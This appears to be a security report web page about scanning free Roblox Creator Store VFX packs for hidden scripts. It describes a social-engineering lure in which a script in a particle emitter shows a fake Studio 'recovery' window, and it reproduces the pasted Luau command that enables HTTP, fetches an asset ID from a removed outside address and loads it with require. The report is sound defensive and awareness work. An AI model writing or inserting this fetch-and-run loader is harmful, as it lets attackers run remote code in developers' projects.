Free VFX safety report

Most free VFX packs are fine. Some carry code you didn't ask for.

Every week we open free VFX packs from the Roblox Creator Store and check every object inside, without running anything. Particle effects don't need scripts, so we flag the packs whose contents match patterns used to run code on your machine or in your game.

300free VFX packs checked
188passed every check
70flagged
52flagged packs whose listing says “no scripts”

The most common pattern we found

Several flagged packs contain the same setup. It only runs inside Roblox Studio, so it targets the developer, not players.

  1. 01
    A script inside a particle emitter

    It sits where you'd never look, and only starts when the pack is in an open Studio session.

  2. 02
    A fake Studio error window

    A few seconds later, a window styled like Roblox Studio says your session needs “recovery”.

  3. 03
    It asks you to paste a command

    The steps tell you to copy a command into the Command Bar, which runs with full access to your place.

  4. 04
    The command loads more code

    It turns on HTTP, asks an outside web address for an asset ID, and loads whatever that asset contains into your game.

Recovery required
Disconnected

A required Studio dependency stopped responding. Run the recovery command below from edit mode.

local HttpService = game:GetService("HttpService")
HttpService.HttpEnabled = true
local id = HttpService:GetAsync("https://…")
require(tonumber(id))
Copy

Our redrawing of the window's text, taken from inside one flagged pack. The web address is removed. Roblox Studio never asks you to paste a command to recover.

Flagged packs

What we observed in each file, in plain words. Packs from accounts that still exist are listed first.

Loading the latest scan…

What a flag means

A flag is an automated, factual description of what was inside a pack's file on the date we scanned it. It is not a statement about the person who uploaded it or why. Accounts get compromised and packs change hands.

Packs change. We check the version that was live on the scan date, so a pack may have been updated or fixed since. Every flag links to the listing so you can check it yourself.

How we check

  • We only read public, free packs, and never run their code.
  • Each file is checked against six written rules, the same way every time.
  • The full results, including every pack that passed, are in one open file for agents and people.
  • Baseplate is not affiliated with or endorsed by Roblox Corporation.